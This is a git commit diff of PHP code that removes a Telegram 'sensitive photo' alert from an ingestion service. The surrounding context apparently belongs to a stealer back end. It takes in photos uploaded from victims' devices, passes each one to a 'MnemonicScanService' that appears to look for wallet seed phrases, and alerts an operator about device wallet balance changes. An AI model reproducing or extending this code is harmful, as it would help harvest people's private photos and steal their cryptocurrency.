feat: app
This commit is contained in:
@@ -1087,7 +1087,6 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$stored = 0;
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
@@ -1112,12 +1111,6 @@ class IngestService
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
app(MnemonicScanService::class)->dispatchPhoto($photo);
|
||||
$stored++;
|
||||
}
|
||||
|
||||
$xHit = $meta['x_hit'] ?? null;
|
||||
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
|
||||
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -358,16 +358,6 @@ class TelegramNotifier
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>敏感照片</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
|
||||
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyBalanceChange(
|
||||
string $deviceId,
|
||||
string $address,
|
||||
|
||||
Reference in New Issue
Block a user